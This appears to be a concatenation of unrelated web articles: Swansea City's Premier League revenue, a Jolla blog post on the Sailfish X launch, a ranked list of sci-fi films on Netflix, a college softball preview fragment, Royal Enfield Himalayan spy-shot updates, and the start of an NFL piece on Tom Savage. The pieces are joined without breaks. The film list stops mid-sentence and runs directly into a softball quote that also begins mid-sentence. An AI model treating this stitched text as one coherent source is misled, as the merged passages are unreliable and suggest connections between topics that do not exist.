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30, the reported 26th-richest club in the world, Swansea, desperately want to stay in the top flight. The figures The price agreed for domestic television coverage of the Premier League rose by 70% for the 2016-19 cycle, compared to 2013-16. The current deal, announced in 2012, amounts to £3.018bn over three years but the new agreement in February 2015 smashed that figure, totalling £5.136bn. And that excludes the money Premier League teams will receive for overseas television rights, which could be worth an additional £2bn in the current deal. As a result, the money clubs will receive for simply being in the Premier League from next season is set to increase on an astonishing scale. Last season's bottom club, Queens Park Rangers, were paid £68m over the course of last season, but in May 2017 the team finishing bottom can expect to receive around £100m - Chelsea received "just" £99m for winning the league in 2015. Payments made to Premier League teams at the end of the 2014-15 season. (Source: Premier League) The wider community For Swansea, the potential ramifications of missing out on such large sums of money would be huge. For one thing, aspirations to develop and own the Liberty Stadium could go on hold and, inevitably, many of the players would be likely to move on. However, the effect on the local economy could be even more significant, in an area already hit by the news of 750 jobs being lost at the Tata Steel plant in the nearby town of Port Talbot. According to a study by the Welsh Economy Research Unit on Swansea City's promotion to the Premier League in 2011, their first season in the top division created an estimated 420 jobs - 120 of them in the hospitality industry. Premier League bottom five (at 22 January) The hotel consultancy service PFK reported a 9% increase in overnight stays in the area and Swansea council reported that activity on its 'Visit Swansea' website was up 44% on the previous year. Swansea University then saw a significant increase in applications since the local football club joined the elite clubs, a fact vice-chancellor Professor Richard B Davies attributed to Premier League football "putting Swansea on the map". Emma Frearson Emmanuel, head of the International Office at Swansea University, said: "We have seen a 50% increase [in applications] over two years. "What we can't say is how many people apply to us directly because of the Swans, but certainly having a Premier League club in the city has been a big help, particularly internationally. "The Korean footballer Ki Sung-Yueng [Swansea midfielder] has an incredibly high profile in Korea, so obviously factors like that also raise awareness of the city abroad." The Premier League factor That Swansea now generate more revenue than former European Cup winners Ajax and Benfica highlights the financial power of being in the Premier League. The money the television deal of 2012 brought has seen a huge change in the liquidity of top-flight clubs. Paul Rawnsley of Deloitte's Sports Business Group, who has been involved with the analysing football finance for 15 years, added: "There has been a sea change in recent years with Premier League clubs becoming collectively profitable for the first time." Deloitte's Football Money League report at a glance Top 20 Money League clubs collectively generate £14.02m per day Those 20 clubs also have 83 million Twitter followers...and 93 million followers on Instagram This is partly due to the fact that Premier League clubs are now only allowed to post limited losses under Uefa's Financial Fair Play requirements. But the guaranteed income of next season means this year's Championship play-off final, already the most lucrative one-off fixture in world football, will now be worth even more to the winners than the £90m earned by 2015 winners Norwich. Is Guidolin the man? After a lengthy search to replace Garry Monk in which Jenkins travelled to South America in search of candidates, Swansea have opted to appoint Italian Francesco Guidolin as head coach. The former Udinese boss, who will take charge of the Swans for this first time at Everton on Sunday, is a new face for the Premier League. Swansea's history in Deloitte's Football Money League Swansea were ranked 29th in the 2014-15 season's version of the report, their first appearance in the Top 30 They have climbed three places to 26th in 2016 after reportedly increasing their revenue to £132.8m, up from £118m the previous year His task is to keep the club in the top flight, at the expense of experienced Premier League managers such as Sunderland's Sam Allardyce and Newcastle's Steve McClaren. Jenkins has often been praised for getting his managerial appointments right - he will now desperately hope this season's unplanned change of first-team boss does not end up costing the club several tens of millions.Ahoy Sailfish fans and followers, After months of hard work from Jolla engineers and the amazing Sailfish community, we are confident that the software is ready to be made available and we can start the actual roll out. You will need to bear with us a bit through the process, we’re a small team, and thus we’ll need to do this in phases to best serve all our customers eagerly waiting for Sailfish X. The software is looking very good for now, we have been able to verify the new flashing process, and the downloads should be ready to roll on October 11th as communicated earlier. Many thanks for your comments in regards to Linux flashing. We fully understand this is very important topic for many of you and we’re looking all the time ways for a workaround to enable it together with the Sailfish community. However, as noted already in some blog comments, Sony from now on officially supports only the Emma tool on Windows platform. As we start this in phases, we also wanted to leave some buffer between Tablet refund vouchers and opening the general sales to ensure smooth roll-out and capacity to support customers (believe me, there are always cases to resolve!) thus we have decided to align the wider sales opening to start at the same time with the SW distribution. In the Jolla team we have the same persons running these in practice, and if anything goes wrong with either the vouchers or sales, we’ll need to reserve adequate capacity to respond and help our customers. Sailfish X sites open today So, today October 4, we open the Sailfish X shop, publish the Sailfish X product page, and open the possibility for Tablet refund folks to obtain a credit voucher to use for purchasing Sailfish X. This will be followed next week as we open the general sales for all customers, including previous Jolla C community program members, in connection with the Sailfish X downloads start. There’s been questions about the available markets, so let me open up that process for you. In the first phase Sailfish X is available to purchase in EU, Norway and Switzerland. We’re looking to enable additional markets based on interest but please understand that with our team size we can’t just jump everywhere at once. Europe, being our home market, is the natural place to start. We’ll get back to this once ready! All in all, what we are happy to say that the Sony Xperia™ X device is simply the best device currently to run official Sailfish OS, and its tech specs, camera quality, screen, and design if you like, will take the Sailfish OS experience to a whole new level. Let’s enjoy it together soon! Sincerely yours, SamiThe last time we looked at Netflix’s best sci-fi movies, we lamented how the selection was mostly filled with recently released-to-VOD micro-budget titles. But the streaming service has upped their game when it comes to science fiction and now includes more than a dozen of our 100 Best Sci-Fi Movies of All Time, plus several recent Marvel movies that we didn’t consider for that list. There’s still a dearth of classic sci-fi with the exception of Close Encounters, but you can stream some of our favorite 21st-century indie titles like Under the Skin, Her and Ex Machina. For other genres and types, check out Paste’s many, many Best Movies lists, and then make your way through the following. Here are the 25 best sci-fi movies on Netflix: 25. Hellboy Year: 2004 Director: Guillermo del Toro If you were making a list of comic book film adaptations that truly understood their source material, that accurately capture the tenor of the comic, then you’d have a hard time keeping Hellboy off the top of the list. Mike Mignola’s epic comic is one of the best sequential graphic stories of the ’90s and 2000s, and leaving its adaptation to the loving hands of Guillermo Del Toro turned out better than fans could have dared hope. Hellboy is by no means an easy story to commit to film, but it benefits hugely by the perfect casting of Ron Perlman in the role he was born to play—the irascible but goodhearted Anung un Rama, the demon “fated” to bring about the end of the world. Naturally, the perpetually stubborn Hellboy has some differing opinions on the nature of free will. What follows is a joyously vivid, fast-paced feature, full of Lovecraftian monsters but none of the author’s pomp and circumstance. Del Toro’s take on Hellboy crackles with the unabashed energy and enthusiasm of an old-time adventure serial—call him a devilish Indiana Jones, with only a shade less charm. —Jim Vorel 24. Death Race 2050 Year: 2016 Director: G.J. Echternkamp The first official sequel to Paul Bertel’s Death Race 2000—43 years later—the almost mathematically sound Death Race 2050 is almost worthy of inheriting its predecessor’s cult lineage, but can’t quite get an insightful enough bead on the many issues it attempts to skewer. It’s dumb, and it knows it’s dumb—knows that it should be dumb—but it doesn’t actually want to be dumb, which is probably where it goes from sci-fi action romp to dour thriller and pushes to a climax that literally burns everything to the ground. Just as our country deserves. Still, director G.J. Echternkamp—who’s on Netflix five times, twice as the director of the documentary and the film based on the documentary about his dysfunctional parents—knows how to squeeze every drop of insanity from an already-strangled budget, which makes the scope of Death Race 2050 even more impressive. It’s a big dumb movie about a future cross-country race in which killing innocent people is rewarded and mass destruction a given, but it’s also a Marxist screed against a dystopic future in which the means of labor are taken from us and society is subdued by virtual reality fantasy, as well as the best representation in over a decade of Malcolm McDowell at his purest: puerile, pompous and entirely game for whatever. —Dom Sinacola 23. The Imaginarium of Doctor Parnassus Year: 2009 Director: Terry Gilliam The premise of The Imaginarium of Doctor Parnassus is a perfect vehicle for Gilliam’s imagination, which has remained wonderfully bizarre through the years. Christopher Plummer plays Dr. Parnassus, an ancient carny with a magical mirror that transports people inside their own imaginations. He’s pitted against that most notorious of gamblers, the devil, played by Tom Waits, who proves yet again that he’s just as fine an actor as he is a singer or songwriter. A stranger named Tony (Heath Ledger) joins the traveling troupe in Ledger’s final performance before his death, a third of the way through filming. Gilliam’s decision to use Johnny Depp, Jude Law and Colin Farrell to portray Tony inside the mirror, was a clever work-around, but Plummer and Waits steal this show, anyway. Their epic struggle, we learn, has been going on for centuries, but the further we get into the film, the more confusing the battle becomes. On one side, we have story and imagination. On the other, temptation? Selfishness? Ease? Like Michel Gondry, Gilliam is adept at creating visual splendor and is capable of creating a masterpiece when the story is there to back it up. Unfortunately all the lovely threads Gilliam follows never quite weave together, but the film is worth watching for its individual moments of movie magic. —Josh Jackson 22. Turbo Kid Year: 2015 Directors: François Simard, Anouk Whissell, Yoann-Karl Whissell Turbo Kid is a joyous experience, the kind of insane indie wish-fulfillment that I can only imagine inspires other indie filmmakers to say “Well if that guy can pull off this movie, then I need to make a movie of my own.” It’s a gloriously absurd ode to ’80s era kids movies, apocalypse fiction and gore-centric horror, full of neon colors and exploding heads. The hyper-bloody ultraviolence in particular is insanely impressive, on a level rarely seen outside the likes of Peter Jackson’s Dead Alive. Add a twist of Michael Ironside playing a ham-fisted parody of his villain roles in movies like Scanners (talk about exploding heads…) and Total Recall, and you have a serious cult classic in the making. Turbo Kid sells itself on its premise and iconography, but it’s far better than it truly has to be. —Jim Vorel 21. Serenity Year: 2005 Director: Joss Whedon We may have never gotten a Season 2 of Firefly, the much beloved alien-free space-travel show from Joss Whedon, but at least we got a movie. Part futuristic Western, part political satire, Whedon’s vision of the future is full of wit, great storytelling and frenetic action. The Serenity crew of Mal Reynolds (Nathan Fillion), Zoe (Gina Torres), Wash (Alan Tudyk), Jayne (Adam Baldwin) and Kaylee (Jewel Staite) may have gotten one last adventure together, but it’s River Tam (Summer Glau) who really stretches her legs on the big screen, kicking the asses of all kinds of Alliance baddies. Browncoats everywhere rejoiced. —Josh Jackson 20. The Endless Year: 2017 Director: Justin Benson, Aaron Moorhead Brotherhood’s a trip. Just ask Aaron Moorhead and Justin Benson, the horror filmmaking duo responsible for 2012’s Resolution, the “Bonestorm” segment in 2014’s VHS: Viral, and, in the same year, the tender creature romance Spring. Their latest, The Endless, is all about brotherhood couched in unfathomable terror of Lovecraftian proportions. The movie hinges on the petulant squabbles of boys, circular arguments that go nowhere because they’re caught in a perpetual loop of denial and projection. Brothers Aaron and Justin Smith (played, respectively, by Moorhead and Benson, who gel so well as brothers that you’d swear they’re secretly related) were once members of a UFO death cult before escaping and readjusting to life’s vicissitudes: They clean houses for a living, subsist primarily on ramen and rely so much on their car that Aaron’s repeated failure to replace the battery weighs on both of them like the heavens on Atlas’ shoulders. Then, out of the blue, they receive a tape in the mail from their former cultists, and at Aaron’s behest they revisit Camp Arcadia, the commune they once called home. Not all is well here: Bizarre bonelike poles litter Arcadia’s outskirts, flocks of birds teleport from one spot to another in the time it takes to blink, Aaron and Justin keep having weird déjà vu moments, and worse: There’s something in the lake, a massive, inky, inexplicable presence just below the surface. Woven through the film’s eldritch dread are Moorhead and Benson. Their characters are locked in a cosmic struggle with a nameless adversary, but the narrative’s gaze is focused inward: On the Smiths, on brothers, on how far a relationship must stretch before it can be repaired. Intimacy is a staple element of Moorhead and Benson’s filmograpy. Here, the intimacy is fraternal, which perhaps speaks to how Moorhead and Benson feel about each other. They may not be brothers themselves, but you can’t spend your career making movies with the same person over and over again without developing an abiding, unspoken bond with them. —Andy Crump 19. April and the Extraordinary World Year: 2015 Director: Christian Desmares, Franck Ekinci Keeping real life global history straight in narratives that leapfrog across decades and centuries is tough enough—making sense of alternate history when it’s articulated at breakneck speed throughout multiple eras of European cultural advancement is just downright strenuous. Think of April and the Extraordinary World as an intense workout for your brain, during which the film shapes a surrogate Earth in the span of mere minutes and fires off salvos of detail, visual and aural alike, in the pursuit of recalibrating the past. The inattentive and unimaginative need not apply. Good news for diligent viewing types, though: April and the Extraordinary World is pretty great, a compact exercise in world building without handholding that rewards a patient, observant audience. If you can keep pace with the film’s plot deployment, you’ll be in for a wonderful ride littered with talking cats, fabulous steampunk backdrops, rollercoaster excitement and terrific characters, all drawn through the fundamental beauty of cel animation. April and the Extraordinary World reminds us of the aesthetic value of traditional animation and the necessity of human ingenuity, all without treating its audience like idiots. —Andy Crump 18. batteries not included Year: 1987 Director: Matthew Robbins Old people and aliens partner to fight gentrification for the crowd-pleasing win! Spouses both on and off the screen, Jessica Tandy and Hume Cronyn play a couple who are among the low-income residents of an apartment building at odds with The Man, who goes so far as to hire a local gang to vandalize the couple’s downstairs diner and further drive out the tenants. As luck would have it, a pair of friendly flying saucers dubbed “the Fix-Its” are in town, and squat on the top of the building while repairing anything and everything there in miraculous time. Oh, and the UFOs aren’t just do-gooding Fix-Its, they’re fertile, family-minded Fix-Its at that. Exec produced by Steven Spielberg and co. and with a script co-penned by Brad Bird (his first feature screenplay), batteries not included is smart and cute, in the best sense of that term—the Fix-Its are positively adorbs. The cast (which also includes Elizabeth Peña) is pitch-perfect, especially the sprightly Cronyn. There’s a childlike innocence to the whole thing, and darned if it doesn’t charm you. —Amanda Schurr 17. The Lobster Year: 2016 Director: Yorgos Lanthimos Greek director Yorgos Lanthimos’s follow-up to international break-out Dogtooth ditches that film’s knotted familial pathology, but refuses to be any less insular. Instead, it expands, even bloats, Dogtooth’s logic as far as it’ll stretch. I know: That doesn’t make much sense, but stay with me—which is exactly how Lanthimos and co-writer Efthymis Filippou (who also co-wrote, unsurprisingly, Chevalier) assume the audience will approach The Lobster, starting with the familiar, inviting visage of Colin Farell, gone full dad-bod for a role that is debatably the actor’s best example for his still unheralded genius. With a remarkable dearth of charm, Farrell inhabits David, a man who, upon learning that his wife has cheated on him and so must end their relationship, is legally required to check in to a hotel where he has 45 days to find a new mate, lest he be transformed into an animal of his choosing. David easily settles upon the titular namesake, the lobster, which he explains he picks because of their seemingly-immortal lifespans, the creatures like human ears growing and growing without end until their supposed deaths. At the hotel, David tries his best to warm to a beautifully soul-less woman, but the depths to which she subjects his resolve eventually encourages him to plan an escape, through which he matriculates into an off-the-grid conglomerate of single folk, led by Léa Seydoux. There, of course, against all rules he falls in love with another outsider (Rachel Weisz). The world of The Lobster isn’t a dystopian future, more like a sort of mundane, suburban Everywhere in an allegorical alternate universe. Regardless, Lanthimos and Filippou find no pleasure in explaining the foundations of their film, busier building an absurd edifice over which they can drape the tension and anxieties of modern coupledom. In that sense, The Lobster is an oddly feminist film, obsessed with time and how much pressure that puts on people, especially women, to root down and find someone, no matter the cost. If you’ve ever had a conversation with a significant other concerned about the increasing dangers of becoming pregnant in one’s late 30s, then The Lobster—and its ambiguous but no less arresting final shot—will strike uncomfortably close to the home you’re told you should have by now. —Dom Sinacola 16. Guardians of the Galaxy Vol. 2 Year: 2017 Director: James Gunn In Guardians of the Galaxy Vol. 2, James Gunn shows that “second verse, mostly same as the first” can serve the viewer (and, inevitably, the box office) well, especially when one has most of the Marvel universe to pull from. To a large extent, GotG Vol. 2 follows the playbook from its predecessor, though now, with the entire cast familiar faces to the audience, Gunn skips introductions and goes right to the funny. In this case, that means an opening credits sequence featuring the entire team and what amounts to a highlight reel of character traits meant to amuse: rapid banter from Star-Lord (Chris Pratt) and Rocket Raccoon (Bradley Cooper), humorous ’roid-rage from Drax (Dave Bautista), quiet bad-assitude from Gamora (Zoe Saldana) and an extended cute-Groot frolic. During this sequence and throughout the movie, the comic elements of this particular space opera feel as if they have been ratcheted up, but, though he doesn’t seem to want the audience to have too much time between laughs, Gunn also seems determined to match the increased comic volume with more heart. The audience is unlikely to feel they’ve seen anything that different from Vol. 1, but it’s clear that Gunn and company knew exactly what qualities made the first film so enjoyable, and what they needed to do to make sure this particular sequel was worth the wait. —Michael Burgin 15. Moon Year: 2009 Director: Duncan Jones First-time director Duncan Jones is overt about his stylistic appropriations of Stanley Kubrick’s 2001: A Space Odyssey, right down to the sweeping orchestral music that frames the opening shots of the titular satellite and Earth. Yet where Kubrick tapped into existential fears about human extinction and the future of civilization, Jones hypothesizes the logical conclusion of that dark vision: a world where the need for more energy has rendered humanity a manufactured cog of multinational corporations whose reach now extends beyond the boundaries of Earth. The film’s plot centers on Sam Bell (Sam Rockwell), the only human on a lunar mining facility that harvests Helium-3, a clean fuel that can meet a near-future Earth’s ballooning energy demands. Base computer system GERTY (Kevin Spacey) is his sole companion on Sam’s three-year caretaking mission, since a supposed satellite failure means he can only send and receive pre-recorded messages. When an accident nearly kills Sam, he’s saved by a clone of himself and begins to unravel the sinister nature of the base, and his existence. Moon cribs heavily from the retro-futuristic look of ‘60s and ‘70s sci-fi for its claustrophobic and sanitized depiction of the moon base. But this high-tech eye candy is only the backdrop to a larger morality tale about humanity’s ever-shrinking position within a technologically-saturated society: when the human experience can be synthesized (and thus made disposable,) does such a thing as “humanity” even exist? There’s a host of challenging philosophical threads throughout—cloning, masculinity, energy, corporate power—but those individual issues complement rather than engulf the larger narrative. Moon is a superlative example of science fiction that hearkens to the genre’s roots: social commentary on the human condition, without the easy catharsis of overblown special effects and space opera. It’s the ultimate rarity in modern cinema: a mature, engaging and thoughtful sci-fi movie, and proof that there’s life yet left in the genre. —Michael Saba 14. Rogue One: A Star Wars Story Year: 2016 Director: Gareth Edwards Gareth Edwards’ venture into a galaxy far, far away is the Star Wars film we never knew we needed. It’s a triumphantly thrilling, serious-minded war movie that is incalculably stronger for the fact that it’s NOT the first chapter in a new franchise. Rogue One is a complete film in a way that no other Star Wars movie other than A New Hope is capable of being. It doesn’t “set the stage” for an inevitable next installment, and its characters are all the realer for the fact that they’re not perpetually sheathed in blasterproof Franchise Armor. It is, so help me, a satisfyingly complete story, and I had no idea until I watched the film how refreshing that concept would be. Our protagonist is Jyn Erso (Felicity Jones), a plucky young woman whose brilliant scientist father (Mads Mikkelsen) has been controlled throughout her life by the Empire and coerced into designing superweapons of the moon-sized, planet-killing variety. Forced into a young adulthood on the fringes of the Rebel Alliance, she’s assembled a Jack Sparrow-esque rap sheet and, as the film begins, finds herself in Imperial prison on various petty charges. What Rogue One is, most accurately, is what it was sold as all along: a legitimate war movie/commando story, albeit with some familial entanglements. —Jim Vorel 13. Thor: Ragnarok Year: 2017 Director: Taika Waititi Sixteen films and nearly a decade into the Marvel Cinematic Universe (MCU)—and in the midst of renaissance/deluge of superhero movies in general—it’s not unusual to encounter some grumbling about both the genre and the MCU. You’ll find plenty of folks who bemoan its formulaic approach to plotlines, the overall weakness of its villains and lack of female heroes getting their due. Starting with Edgar Wright’s departure from Ant-Man, there was also the rapidly accepted conventional wisdom that Marvel Studios was not the place for any director wishing to put his or her stamp on a franchise. Then along comes Thor: Ragnarok. The third film in the arguably least-loved franchise of Kevin Feige and company’s box office-melting enterprise, it’s also the liveliest, funniest and “loosest” film of the bunch (and that includes Guardians of the Galaxy Vol. 2). Much, if not all of this can be credited to director Taika Waititi, who seems determined to mine every ounce of comedy—be it physical, situational or conversational—from a tale that’s both rollicking buddy movie and retelling of the least uplifting tale in all of Norse mythos. Given the source material and the director’s track record, I’m not surprised there was plenty of ammo for Waititi or how well he used it—I’m just shocked and delighted he was allowed to use it in the first place. —Michael Burgin 12. District 9 Year: 2012 Director: Neill Blomkamp Let’s begin with a number: 30 million. That’s how much money Neill Blomkamp spent to make District 9, a movie small in scale but great in ambition, look like it cost four times that amount. Years later, Blomkamp’s career hasn’t realized the full promise shown in District 9, but here, he looks like a guy knows what he’s doing all the same. A genre stew blended from varying measurements of Alien Nation, Watermelon Man, Independence Day, The Fly and RoboCop, District 9 treads familiar territory in an unfamiliar place, through an unfamiliar lens, splicing documentary-style filmmaking together with stomach-churning body horror and, by the end, high-end action spectacle. Nine years ago, the end results of Blomkamp’s mad sci-fi cocktail felt revelatory. Today they feel disappointing, a remark on what he could have been and where his career might have taken him if he’d not lost himself in the morass of Elysium or turned off even his more devoted followers with Chappie. All the same, District 9 remains a major work for a first-timer, or even a third-timer, polished and yet scrappy at the same time; the film tells of an artist with something to say, and saying it with electric urgency. —Andy Crump 11. Okja Year: 2017 Director: Bong Joon-ho Okja takes more creative risks in its first five minutes than most films take over their entire span, and it doesn’t let up from there. What appears to be a sticking point for some critics and audiences, particularly Western ones, is the seemingly erratic tone, from sentiment to suspense to giddy action to whimsy to horror to whatever it is Jake Gyllenhaal is doing. But this is part and parcel with what makes Bong Joon-ho movies, well, Bong Joon-ho movies: They’re nuanced and complex, but they aren’t exactly subtle or restrained. They have attention to detail, but they are not delicate in their handling. They have multiple intentions, and they bring those intentions together to jam. They are imaginative works that craft momentum through part-counterpart alternations, and Okja is perhaps the finest example yet of the wild pendulum swing of a Bong film’s rhythmic tonality. Okja is also not a film about veganism, but it is a film that asks how we can find integrity and, above all, how we can act humanely towards other creatures, humans included. The answers Okja reaches are simple and vital, and without really speaking them it helps you hear those answers for yourself because it has asked all the right questions, and it has asked them in a way that is intensely engaging. —Chet Betz 10. Evolution Director: Lucile Hadžihalilovic Year: 2015 Hadžihalilovic’s gorgeous enigma is anything and everything: creature feature, allegory, sci-fi headfuck, Lynchian homage, feminist masterpiece, 80 minutes of unmitigated gut-sensation—it is an experience unto itself, refusing to explain whatever it is it’s doing so long as the viewer understands whatever that may be on some sort of subcutaneous level. In it, prepubescent boy Nicolas (Max Brebant) finds a corpse underwater, a starfish seemingly blooming from its bellybutton. Which would be strange were the boy not living on a fatherless island of eyebrow-less mothers who every night put their young sons to bed with a squid-ink-like mixture they call “medicine.” This is the norm, until Nicolas’s boy-like curiosity begins to reveal a world of maturity he’s incapable of grasping, discovering one night what the mothers do once their so-called “sons” have fallen asleep. From there, Evolution eviscerates notions of motherhood, masculinity and the inexplicable gray area between, simultaneously evoking anxiety and awe as it presents one unshakeable, dreadful image after another. —Dom Sinacola 9. Star Wars: The Last Jedi Year: 2017 Director: Rian Johnson The Last Jedi, unlike its predecessor, has the freedom to be daring, and perhaps the most thrilling thing about it—and there are many, many thrilling things—is how abundantly it takes advantage of that freedom. If The Force Awakens was basically just Star Wars told again in a new, but familiar way, The Last Jedi challenges the audience, challenges the Star Wars mythos, even challenges the whole damned series itself. It blows the universe up to rebuild it; it is a continuation and a new beginning. And more than anything else, it goes places no Star Wars film has ever dreamed of going. In a way, the success J.J. Abrams had with The Force Awakens, particularly how decidedly fan-servicey it was, laid the groundwork for what The Last Jedi is able to pull off. That movie reminded you how much power and primal force this series still had. This movie is an even more impressive magic trick: It uses that power and force to connect you to something larger. Not everything in The Last Jedi works perfectly, but even its few missteps are all founded in the desire for something new, to take risks, to push an American myth into uncomfortable new directions. —Will Leitch 8. Children of Men Year: 2006 Director: Alfonso Cuarón We remember the dread most—the sense of relentless, inevitable doom, from its literally explosive opening moments to its breathlessly ambiguous final seconds, the whole of Children of Men shot through with dismal grayscale, as if the human race were still coming to terms with its combustion though everyone waded through the ashes. In 2027, beleaguered former activist and current bureaucrat, Theo (Clive Owen), wanders amongst the increasing civil unrest fueled by British armed forces clamping down on refugees fleeing the rest of the world’s civilizational decline. Cynical and cornered by death at every turn, Theo can’t help but assist his estranged ex wife (Julianne Moore), taking on the protection of Kee (Clare Hope-Ashitey), a Virgin Mary figure and the last known pregnant woman on Earth. Theo’s odyssey takes him through the last vestiges of a broken world, director Alfonso Cuarón staging terrible spectacles—an assault on a car, a nightmarish refugee camp, a wartorn urban battlefield—often in long takes (or digitally edited to appear as long takes) and weighted with unbelievably visceral stakes. Yet, despite all of Cuarón’s technical bravura, what remains long after Children of Men’s ended is its refusal to resolve Theo’s journey, to ascribe to what he’s accomplished any hope, hopeful that there is still time, but hopeless that there’s anything left we can do. The apocalypse has never felt so immersive. —Dom Sinacola 7. Ex Machina Year: 2015 Director: Alex Garland While popular science-fiction films have taught us that, no matter what we do, robots that become self-aware will eventually rise up and kill us, recent advances in artificial intelligence in the real world have confirmed something much seedier about the human imperative: If given the technology to design thinking, feeling robots, we will always try to have sex with them. Always. Alex Garland’s beautifully haunting film seems to want to bridge that gap. Taking cues from obvious predecessors like 2001: A Space Odyssey and AI—some will even compare it to Her—Ex Machina stands solidly on its own as a highly stylized and mesmerizing film, never overly dependent on CGI, and instead built upon the ample talents of a small cast. The film’s title is a play on the phrase deus ex machina (“god from the machine”), which is a plot device wherein an unexpected event or character seemingly comes out of nowhere to solve a storytelling problem. Garland interprets the phrase literally: Here, that machine is a robot named Ava, played by Swedish actress Alicia Vikander, and that nowhere is where her creator, Nathan (Oscar Isaac), performs his research and experiments. Ava is a heavenly mechanical body of sinewy circuitry topped with a lovely face, reminiscent of a Chris Cunningham creation. Her creator is an alcoholic genius and head of a Google-like search engine called Bluebook which has made him impossibly rich. Enter Caleb (Domhnall Gleeson), who is helicoptered in after winning a lottery at work for which the prize is a week at Nathan’s house. Nathan also intends to use Caleb to conduct something of a Turing test on steroids with Ava to determine if she can truly exhibit human behavior. In fact, Ex Machina seems designed around the performances of its excellent mini-ensemble; it’s an awfully attractive film, appropriately seductive. No doubt it was intended to provoke conversations about the morality inherent in “creating” intelligence—as well as whether it’s cool to have sex with robots or not. —Jonah Flicker 6. Eternal Sunshine of the Spotless Mind Year: 2004 Director: Michel Gondry In what might be Charlie Kaufman’s finest script, boy meets girl, unaware that they might be living out a doomed eternal recurrence. A brain-wipe firm allows its clients to erase choice people or events from their memory. Turns out, Joel (a repressed Jim Carrey) and Clementine (a vibrant Kate Winslet) have done this before. Technology is the Great Enabler and, perhaps, a secret destroyer—except that the science fiction aspect of Eternal Sunshine of the Spotless Mind is just an auxiliary to the core relational dynamic. Stripped of fantasy, the film’s theme is no Luddite cautionary tale but rather just a melancholy observation of human relationships. This is how it’s always been. We’re quite accomplished at failing each other…and ourselves. There’s nothing so condemnatory as that statement in Eternal Sunshine, a film that watches and weeps at a whimsical circus breaking down. It immerses us in Joel’s mind, Gondry’s in-camera effects and nearly experimental editing taking us tumbling through the increasingly tragic process of removing Clementine. When I first saw this film in the theater in 2004, I swore I would never do the thing that Joel does to try to heal himself, but I’ve lived some life since then and now I’m not sure I can say the same. I’ve deleted phone numbers and pictures on Facebook, had about a month where I was vigilantly untagging myself; I’m sometimes scared to even look at my feed. It doesn’t matter what the social environment is, humans will use whatever’s
right-handed curveball, I'll put eight lefties in the lineup and see if she can get them out because that's a hard thing to do in softball," he said. "The curve goes right into your wheel house. And if you don't get it in, it goes out." The return of Peyton Grantham and addition of a few newcomers should help. A starter in 2014 at third base, an ACL injury kept her out last spring. Murphy also has big plans for Sydney Booker, a transfer from Southwestern Louisiana who was a national freshman of the year candidate last year. She set a program record with 49 RBIs and eight triples last season. Murphy also listed freshman Reagan Dykes as a name to watch. She was one of the top high school hitters in the country coming out of Collins, Miss. On the pitching side, Winfield (Ala.) product Madi Moore could add to the rotation of Osorio and Sydney Littlejohn (16-2, 1,71 ERA). Moore was Alabama's Miss Softball after winning a state title in 2014.Update 10 – 10th December 2015 With the launch of new Royal Enfield Himalayan getting closer by the day, more and more sightings of the off-roader are being reported. The past week also saw the first photo of accessorized Himalayan adorning military exterior hue. Set to be launched in February next year (not at the Auto Expo, as Royal Enfield are not going to be part of the show). See the images below. Update 9 – 28th November Continuing with its road test stage, upcoming Royal Enfield Himalayan was spied once again. This time the bike was seen being tested inside the city limits. Seen in the images below, the rider seems to be making his way out in a peak-hour traffic situation. Expected to be projected as an on-off road tourer, Royal Enfield Himalayan is to be launched in February 2016. Powered by a new single cylinder 410 cc engine, and built on a new platform, Himalayan will be priced in the under INR 2 lakh segment. Update 8 – 9th November 2015 Latest news on the Royal Enfield Himalayan is that the launch has been delayed to 2016. Expect the motorcycle to be unveiled early next year with an all-new 410 cc single cylinder engine. Below is the spy video of upcoming RE Himalayan. Update 7 – 4th November 2015 Rushlane reader from Chennai, has managed to click the entry level variant of Himalayan. Unlike the one which was spied with off-road tyres, this one seems to get regular road tyres. Engine on board both the variants of RE Himalayan will be same – 410 cc single cylinder generating approximately 28 PS and 32 Nm of torque. Mated to a five speed gearbox, price of Himalayan is expected to be in the range of INR 1.7-2 lakh. Earlier expected to be launched in November 2015, the motorcycle will now be launched in 2016. Update 6 – 8th September 2015 After being spied on the road, Royal Enfield Himalayan has now been spied on the production line inside the company’s Chennai manufacturing facility. It is also the first time that one can see the the name Himalayan embossed on the motorcycle. Update 5 – 10th August 2015 Based on the multiple spy shots of Royal Enfield Himalayan spied till now, a new render has been created. Update 4 – 8th August 2015 Hi-res spy shots of Royal Enfield Himalayan have surfaced online, giving a much better idea of what to expect from the upcoming RE. Update 3 – 28th July 2015 New spy shots of Royal Enfield Himalayan have surfaced online. These reveal the motorcycle completely for the first time. Seen in production ready parts, these photos confirm that RE Himalayan is a off-road tourer. It seems that the test riders of Royal Enfield Himalayan are camping in the wild while testing the bike in a terrain which is far away from civilization. Apart from getting to see the bike completely undisguised, this is also the first time we get a good look at the instrument panel of RE Himalayan. Update 2 – 19th May 2015 Royal Enfield Himalayan was spied once again. Compared to the first spy shots, this one is a bit different. With the name A2 chalked on its tank, this variant of RE Himalayan gets Pulsar 220 styled exhaust, and lower handlebar. Update 1 – May 6th 2015 Based on the first spy shot, a rendering of the upcoming Royal Enfield Himalayan. Original article – 29th April 2015 The first set of spy shots of what is believed to be named Royal Enfield Himalayan doing endurance test in Tamil Nadu, has a lot to say about what we can expect to see in showrooms, a year from now. The Royal Enfield adventure tourer prototype seems to be in an early stage of development, as there are many interim parts taken from the spares rack of Continental GT. Some of seemingly shared parts in the Himalayan test mule are, headlamp, tail lamp, front fork, front mud guard, front disc brake and even the frame (more like a resemblance). However, we are not to be surprised if these parts are actually carried forward to the production model of the RE adventure tourer. Some of the few notably new features in the Royal Enfield Himalayan trial vehicle are new fuel tank design, new single-piece handlebar, rear monoshock, exhaust can, blacked-out spoke rims, high profile (aspect ratio) tyres and rear disc brake. The last does not resemble the unit used in RE Thunderbird 500. We don’t have a peek of the instrument cluster in these spy shots, which would be brand new. Of course the engine is brand new, which could be a 400 cc unit, possibly derived from the 350 cc motor. This new engine is expected to churn out around 40 Nm peak torque, which is 12 Nm more than what the 350 cc engine manages.(Last Updated On: December 10, 2018) You may have seen Week 1 right-arm disaster Tom Savage in the news for comments his agent made about the Houston Texans’ decision to bench their “starting” quarterback after only two quarters of putrid performance during which Savage dropped back 21 times, hit seven of 13 passes for a whopping 62 yards, and got sacked six times. A week later, first-round Clemson rookie Deshaun Watson was naturally being given the Week 2 pigskin and the future keys to the Texans. And after he did the below last night against the Cincinnati Bengals, it’s likely Watson’s backup never sniffs the Houston field again. But let’s rewind the clock and set the contextual scene here, so we fully understand how Tom Savage found his way under Houston’s center.. Enter the 2016 offseason. The 